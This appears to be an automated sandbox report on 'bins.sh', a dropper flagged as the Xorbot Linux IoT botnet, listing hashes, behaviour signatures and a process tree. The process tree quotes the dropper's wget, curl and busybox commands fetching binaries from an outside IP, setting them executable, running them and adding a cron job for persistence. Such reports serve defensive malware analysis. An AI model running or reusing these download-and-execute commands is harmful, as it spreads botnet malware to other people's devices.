Analysis

  • max time kernel
    151s
  • max time network
    91s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03-12-2024 18:39

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a8c7d8298c6f6d498de1b4c9b6887ce5

  • SHA1

    1e64194eff12a4a67a5b19507930b27f08b02a3e

  • SHA256

    52f7f07396b6180fd504954ac793b89a944ac47e96a115af4d26991dbf53d565

  • SHA512

    16b08d2b1e6b93498263fd2262874a04925d799aa5f2723a4fb1543df3631efafd28107bde398a471642c1e76d874849070357266738771338e3c26a93c336f5

  • SSDEEP

    96:6usWuUVx7H4i77jrkYv8G2mD303SE8a7jrkYvqlG2mD3ZGzDivsWuUVxqKRO:6usWuUVxr4iwG2mD3NG2mD3UWuUVx2

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          ./qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            ./OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Writes file to tmp directory
              PID:743
            • /bin/chmod
              chmod 777 j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • File and Directory Permissions Modification
              PID:744
            • /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              ./j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:745
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:747
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:748
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:749
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:750
                  • /bin/rm
                    rm j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h
                    2⤵
                      PID:752
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                      2⤵
                        PID:755
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/doPZ0I85TF280cMGasF7ainzkhkMKLFBoP
                        2⤵
                          PID:756

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/OMSm5AS8qVnKq3ZaBKSm3BskifQ9JCWjae

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/j6TjfCvJWHA6mI9z095mhTNKTUvSim0P4h

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/qVkxb7JDLvvG3gVE3pYdkB7zJOJMeADiwF

                        Filesize

                        111KB

                        MD5

                        701e7a55a4f3650f5feee92a9860e5fc

                        SHA1

                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                        SHA256

                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                        SHA512

                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                      • /var/spool/cron/crontabs/tmp.QeFgDn

                        Filesize

                        210B

                        MD5

                        d9ce2aa9fc5747af5b67571234db4a09

                        SHA1

                        3896b78afe5c672a39774fda62ffd3f48b2aa624

                        SHA256

                        eeb3a83deebf8d99798c4552b22a9de9022fc70fdb039391eafe88636282fe7d

                        SHA512

                        21389429825604f246c48e6faff70bf006c180232a5ce271da95afb7afa068f8367d69f5d9e4a660a7f9708a29b6cced858a565c77ed8da15b7dfe0e3d94e979